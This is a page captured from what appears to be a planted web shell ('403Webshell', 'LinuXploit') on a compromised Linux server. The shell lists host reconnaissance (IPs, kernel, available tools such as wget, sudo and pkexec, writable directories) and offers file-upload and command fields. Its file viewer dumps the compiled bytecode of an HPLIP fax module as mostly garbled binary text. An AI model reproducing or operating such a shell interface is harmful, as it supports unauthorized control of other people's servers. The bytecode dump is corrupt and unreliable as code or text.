403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/fax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip/fax/soapfax.pyo
Ñò
lïJc@ sddklZddkZddkZddkZddkZddkZddkZddkTddk	Tddk
lZlZl
Z
lZddkTeideiƒZdZdZdZdZdZdZd	Zd
ZdZdZd
efd„ƒYZdefd„ƒYZ dS(iÿÿÿÿ(tdivisionN(t*(tdevicetutilstcodestdimesHTTP/\d.\d\s(\d+)iiiiiÈiôià	t
SOAPFaxDevicecB s’eZd	d	d	eed„Zd„Zd„Zd„Ze	eeƒZ
d„Zd„Ze	eeƒZ
d„Zddd	edd	d	d„ZRS(
cC s[ti||||||ƒd|_d|_|idjo|i|_n
d|_dS(Ntnett	localhost(t	FaxDevicet__init__tNonetsend_fax_threadtupload_log_threadtbusthostt	http_host(tselft
device_uritprinter_nametcallbacktfax_typetdisable_dbus((s/usr/share/hplip/fax/soapfax.pyR
As		c
C sBg}x@|iƒD]2\}}|id|tit|ƒƒfƒqWdi|ƒ}ti|ƒd||it	|ƒ|f}ti
|ƒ|i|ƒti
ƒ}x|id|ddƒoq­W|iƒ}ti
|ƒ|iƒti|ƒ}yt|idƒƒ}	Wnttfj
o
t}	nX|	tjS(Ns%s=%st&suPOST %s HTTP/1.1
Connection: Keep-alive
User-agent: hplip/2.0
Host: %s
Content-length: %d
Cache-control: No-cache

%sittimeoutii(titemstappendturllibtquotetstrtjointlogtdebugRtlentlog_datatwriteEWSt	cStringIOtStringIOtreadEWStgetvaluetcloseEWSthttp_result_pattmatchtinttgroupt
ValueErrort	TypeErrort
HTTP_ERRORtHTTP_OK(
RturltposttstktvtdatatretR*tcode((s/usr/share/hplip/fax/soapfax.pyR2Ts,
*
	



cC s|idht|ƒd6ƒS(Ns/hp/device/set_config.htmlt	FaxNumber(R2R(Rtnum((s/usr/share/hplip/fax/soapfax.pytsetPhoneNum}scC s?tiƒ}|id|ƒtiƒi|iƒƒ}|dS(Ns(/hp/device/settings_fax_setup_wizard.xmls'faxsetupwizard-faxvoicenumber-faxnumber(R$R%t	getEWSUrlRtXMLToDictParsertparseXMLR'(Rtstreamt	fax_setup((s/usr/share/hplip/fax/soapfax.pytgetPhoneNumscC s|idht|ƒd6ƒS(Ns/hp/device/set_config.htmltFaxCompanyName(R2R(Rtname((s/usr/share/hplip/fax/soapfax.pytsetStationNameŠscC s?tiƒ}|id|ƒtiƒi|iƒƒ}|dS(Ns(/hp/device/settings_fax_setup_wizard.xmls-faxsetupwizard-userinformation-faxcompanyname(R$R%R<RR=R>R'(RR?R@((s/usr/share/hplip/fax/soapfax.pytgetStationNameŽsc		C s¢tiƒ}|id|ƒtiƒi|iƒƒ}|d}yt|ƒ}Wntt	fj
o
t
}nXtid|ƒ|d}yt|ƒ}Wntt	fj
o
t
}nXtid|ƒtiƒ}|d}t}|ddjo
t}n|t
jo|djo|d8}nh|d6|d	d
6|dd6|d
d6|d6|d6|dd6}|t
jo||d<n|id|ƒS(Ns(/hp/device/settings_fax_setup_wizard.xmlsfaxsetupwizard-time-timeformatstimeformat: %dsfaxsetupwizard-date-dateformatsdateformat: %diit
DateFormatitYearitMonthitDayt
TimeFormattHouritMinutetAMs/hp/device/set_config.html(R$R%R<RR=R>R'R+R-R.tTIME_FORMAT_AM_PMRR tDATE_FORMAT_DD_MM_YYYYttimet	localtimetPMRMR2(	RR?R@t
timeformatt
dateformatttthrtam_pmR2((s/usr/share/hplip/fax/soapfax.pytsetDateAndTime—s@





tc

C sW|iƒpBt||i|||||||||	ƒ|_|iiƒtStSdS(N(tisSendFaxActivetSOAPFaxSendThreadtserviceRtstarttTruetFalse(
Rtphone_num_listt
fax_file_listt
cover_messagetcover_ret
cover_functpreserve_formattingRtupdate_queuetevent_queue((s/usr/share/hplip/fax/soapfax.pyt	sendFaxesÅs
	
N(t__name__t
__module__Rt
FAX_TYPE_NONER_R
R2R;RAtpropertyt	phone_numRDREtstation_nameRXRh(((s/usr/share/hplip/fax/soapfax.pyR?s	)					.	R[cB sDeZddeedeed„Zd„Zd„Zdd„ZRS(RYc
C s…ti||||||||||	|
|ƒtiƒ|_tid|iƒ|idjod|ii	|_
n
d|_
dS(Ns	JobId: %sRs%s:8295slocalhost:8295(t
FaxSendThreadR
Rtgen_random_uuidtjob_idRR RtdevRR(RRrR\R`RaRbRcRdReRRfRg((s/usr/share/hplip/fax/soapfax.pyR
Ùs
cAC s0d}d}d}d}d}d}d}d}d	}	d
}
d}d}
d
}d}
d}|iƒ}|}g|_x´||jo¦|iƒo
|}ntid|ƒ||jo-tidƒ|itddfƒ|
}qx||jo-tidƒ|itddfƒ|
}qx||jo-tidƒ|it	ddfƒ|
}qx||jo-tidƒ|it
ddfƒ|
}qx||joætidd[ƒ|}zºy|iiƒWn/t
j
o#}tid|iƒ|}nuXyJ|ii|_tid|iƒ|ii|_tid|iƒWn&t
j
otidƒ|}nXWd|iiƒXqx||jo$tidd\ƒ|i|ƒ}qx||jo$tidd]ƒ|i|ƒ}qx||jotidd^ƒ|	}y?|iƒ}tid|d ƒ|itd|d fƒWn)tj
o|}tid!ƒqxnX|i}qx||	jo$tid"d_ƒ|i|ƒ}qx||
jo$tid#d`ƒ|i|ƒ}qx||jo$tid$daƒ|i|ƒ}qx||jortid%dbƒ|}d}d}d}d}d}d}d}d}d	}d
}d&}t}|} x˜| |joø
|iƒotid'ƒ|} n|oJ|iƒ}!|!titi fjo!tid(|!ƒ|} |}qntid)|| fƒ| |jot}|} |}q| |jo#tid*ƒt}|} |}q| |jo#tid+ƒt}|} |}q| |jo#tid,ƒt}|} |}q| |jo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7ƒ}5x!|ii8d<|5d=d>ƒoq$
W|5i9ƒ}5ti2ƒot#dOd;ƒi3|5ƒnti1|5ƒ|ii:ƒ|i;|5ƒt<jo
|} q|} q| |jo#tidPdgƒ|i)}.t.i/dQƒ}3|i0|3ƒ}4ti1|4ƒti2ƒot#dRd;ƒi3|4ƒn|ii5|4ƒt6i7ƒ}5x!|ii8d<|5d=d>ƒoqTW|5i9ƒ}5ti2ƒot#dSd;ƒi3|5ƒnti1|5ƒ|ii:ƒ|i;|5ƒt<jo
|} q|} q| |jo—tidTdhƒtidUƒytJiƒWntKj
onXy|"iƒWntKj
onXtLiMdVƒ|ii:ƒ|iiƒ|} qqWqx||
jotidWdiƒ|iNo\tidX|i$ƒy!tOiP|i$ƒtidYƒWqtQj
otidZƒqXn|}qxqxWdS(jNii
iiii(i2i<iFiPiZidinixi‚sSTATE=(%d, 0, 0)sAborted by user.RYsSuccess.sError, aborting.sDevice busy, aborting.s%s State: Get sender infoRsUnable to open device (%s).sSender name=%ss
Sender fax=%ssHTTP GET failed!s!%s State: Pre-render non-G4 filess%s State: Get total page counts%s State: Next recipientsProcessing for recipient %sRCsLast recipient.s%s State: Render cover pages%s State: Handle single files%s State: Merge multiple filess%s State: Send faxiªsFax send aborted.sD/L error state=%dsSTATE=(%d, %d, 0)sFax send error.sFax device busy.sFax send success.s%s State: Open devices%s State: BeginJobtrsUnable to read fax file.thplip_g3sInvalid file header. Bad magic.s>Magic=%s Ver=%d Pages=%d hDPI=%d vDPI=%d Size=%d Res=%d Enc=%dtfaxtasciitSTANDARDtFINEt	SUPERFINEsÒ<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><Fax:BeginJob xmlns:Fax="urn:Fax"><ticket xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Fax:Ticket"><jobId xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">$job_id</jobId><resolution xsi:type="Fax:Resolution">$res</resolution><delay xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:positiveInteger">$delay</delay><phoneNumber xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">$faxnum</phoneNumber><speedDial xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:positiveInteger">$speeddial</speedDial></ticket></Fax:BeginJob></SOAP-ENV:Body></SOAP-ENV:Envelope>sbeginjob.logtwi Risbeginjob_ret.logs%s State: DownloadPagess%Page=%d PPR=%d RPP=%d BPP=%d Thumb=%ds#Pixels per line (width) must be %d!sNo data!s"<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Header><jobId xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xsd:string" SOAP-ENV:mustUnderstand="1">$job_id</jobId></SOAP-ENV:Header><SOAP-ENV:Body><Fax:DownloadPage xmlns:Fax="urn:Fax"><height xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xsd:positiveInteger">$height</height></Fax:DownloadPage></SOAP-ENV:Body></SOAP-ENV:Envelope>scid:id0s)http://schemas.xmlsoap.org/soap/envelope/simage/g4faxtcontent_typesapplication/dimesdownloadpages%d.logsdownloadpages%d_ret.logs%s State: EndJobs<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Header><jobId xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xsd:string" SOAP-ENV:mustUnderstand="1">$job_id</jobId></SOAP-ENV:Header><SOAP-ENV:Body><Fax:EndJob xmlns:Fax="urn:Fax"><jobId xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xsd:string">$job_id</jobId></Fax:EndJob></SOAP-ENV:Body></SOAP-ENV:Envelope>s
endjob.logsendjob_ret.logs%s State: CancelJobs<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Header><jobId xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xsd:string" SOAP-ENV:mustUnderstand="1">$job_id</jobId></SOAP-ENV:Header><SOAP-ENV:Body><Fax:CancelJob xmlns:Fax="urn:Fax"><jobId xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xsd:string">$job_id</jobId></Fax:CancelJob></SOAP-ENV:Body></SOAP-ENV:Envelope>s
canceljob.logscanceljob_ret.logs%s State: Close sessionsClosing session...is%s State: CleanupsRemoving merged file: %stRemoveds	Not founds********************s********************s********************s********************s********************s********************s********************s********************s********************s********************s********************s********************s********************s********************s********************(Rtnext_recipient_gentrendered_file_listtcheck_for_cancelRR terrortwrite_queuetSTATUS_IDLEtSTATUS_COMPLETEDtSTATUS_ERRORtSTATUS_BUSYRrtopentErrortmsgRntsender_nameRmt
sender_faxtcloset
pre_rendertcount_pagestnexttSTATUS_SENDING_TO_RECIPIENTt
StopIterationt
cover_pagetsingle_filetmerge_filesR_tgetFaxDownloadStatetpmltUPDN_STATE_XFERACTIVEtUPDN_STATE_XFERDONEtdevice_statetDEVICE_STATE_NOT_FOUNDtfiletftIOErrortreadtFILE_HEADER_SIZEtdecode_fax_headerRqtencodetRESOLUTION_STDtRESOLUTION_FINEtRESOLUTION_300DPIRtcattformat_httpR"tis_debugtwritetopenSoapFaxtwriteSoapFaxR$R%treadSoapFaxR'tcloseSoapFaxtget_error_codeR0trangetPAGE_HEADER_SIZEtdecode_page_headertPIXELS_PER_LINEtseekRtMessaget
add_recordtRecordt
TYPE_T_URItTYPE_T_MIMEtgeneratettruncatetmmt	NameErrorRPtsleeptremove_temp_filetostremovetOSError(ARt
STATE_DONEt
STATE_ABORTEDt
STATE_SUCCESSt
STATE_BUSYtSTATE_READ_SENDER_INFOtSTATE_PRERENDERtSTATE_COUNT_PAGEStSTATE_NEXT_RECIPIENTtSTATE_COVER_PAGEtSTATE_SINGLE_FILEtSTATE_MERGE_FILEStSTATE_SEND_FAXt
STATE_CLEANUPtSTATE_ERRORtnext_recipienttstatetet	recipienttrecipient_file_listtFAX_SEND_STATE_DONEtFAX_SEND_STATE_ABORTtFAX_SEND_STATE_ERRORtFAX_SEND_STATE_BUSYtFAX_SEND_STATE_SUCCESStFAX_SEND_STATE_DEVICE_OPENtFAX_SEND_STATE_BEGINJOBtFAX_SEND_STATE_DOWNLOADPAGEStFAX_SEND_STATE_ENDJOBtFAX_SEND_STATE_CANCELJOBtFAX_SEND_STATE_CLOSE_SESSIONt
monitor_statetfax_send_statet	fax_statetfftheadertmagictversionttotal_pagesthort_dpitvert_dpit	page_sizet
resolutiontencodingt	reserved1t	reserved2Rqtdelaytfaxnumt	speeddialtrestsoapR6R7tpagetptpage_numtpprtrppt
bytes_to_readtthumbnail_bytest	thumbnailtheighttmtoutput((s/usr/share/hplip/fax/soapfax.pytrunìs”	











































-


		





	








	




!	




		"


	





		







		













cC sl|ptSti|ƒ}|djotSyt|idƒƒ}Wnttfj
o
t}nX|S(Ni(	R/R)R*RR0R+R,R-R.(RR7R*R8((s/usr/share/hplip/fax/soapfax.pyR¬°s
stext/xml; charset=utf-8cC s"|i}t|ƒ}tidƒS(Ns—POST / HTTP/1.1
Host: $host
User-Agent: hplip/2.0
Content-Type: $content_type
Content-Length: $soap_len
Connection: close
SOAPAction: ""

$soap(RR!RR¤(RRñR{Rtsoap_len((s/usr/share/hplip/fax/soapfax.pyR¥¾s		(RiRjRR_R
RýR¬R¥(((s/usr/share/hplip/fax/soapfax.pyR[Øs	ÿÅ	(!t
__future__RtsysR½RPR$Rtretbase.gt
base.codestbaseRRRRRutcompiletIR)RNtTIME_FORMAT_24HRtDATE_FORMAT_MM_DD_YYYYROtDATE_FORMAT_YYYY_MM_DDRMRRR0R/R°R	RRoR[(((s/usr/share/hplip/fax/soapfax.pyt<module>s.

"
™

Youez - 2016 - github.com/yon3zu
LinuXploit